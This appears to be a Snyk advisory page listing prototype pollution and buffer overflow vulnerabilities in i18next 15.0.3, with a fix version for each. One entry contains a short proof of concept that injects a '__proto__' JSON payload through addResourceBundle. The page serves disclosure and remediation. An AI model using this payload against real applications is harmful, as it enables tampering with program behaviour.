i18next@15.0.3 vulnerabilities

i18next internationalization framework

  • latest version

    24.1.0

  • latest non vulnerable version

  • first published

    12 years ago

  • latest version published

    2 days ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the i18next package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    i18next is an internationalization framework for browser or any other javascript environment (eg. node.js).

    Affected versions of this package are vulnerable to Prototype Pollution via getLastOfPath() in i18next.js.

    How to fix Prototype Pollution?

    Upgrade i18next to version 19.8.5 or higher.

    <19.8.5
    • M
    Prototype Pollution

    i18next is an internationalization framework for browser or any other javascript environment (eg. node.js).

    Affected versions of this package are vulnerable to Prototype Pollution. This vulnerability relates to the AddResourceBundle API which uses the the deepExtend function (https://github.com/i18next/i18next/blob/master/i18next.js#L361-L370) internally to extend existing translations in a file. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

    PoC

    import i18n from "i18next";
    i18n.init({
        resources: {
          en: {
            namespace1: {
              key: 'hello from namespace 1'
            },
            namespace2: {
              key: 'hello from namespace 2'
            }
          },
          de: {
            namespace1: {
              key: 'hallo von namespace 1'
            },
            namespace2: {
              key: 'hallo von namespace 2'
            }  
          }
        }
      });
    
      var malicious_payload = '{"__proto__":{"vulnerable":"Polluted"}}';
      i18n.init({ resources: {} });
      i18n.addResourceBundle('en', 'namespace1', JSON.parse(malicious_payload)
      ,true,true);
     
     
    console.log(i18n.options.resources);
    //a newly created empty object has the vulnerable property
    console.log({}.vulnerable);
    

    How to fix Prototype Pollution?

    Upgrade i18next to version 19.8.3 or higher.

    <19.8.3
    • M
    Buffer Overflow

    i18next is an internationalization framework for browser or any other javascript environment (eg. node.js).

    Affected versions of this package are vulnerable to Buffer Overflow. It is possible to cause buffer overflow by changing the translation to be recursive.

    How to fix Buffer Overflow?

    Upgrade i18next to version 19.5.5 or higher.

    <19.5.5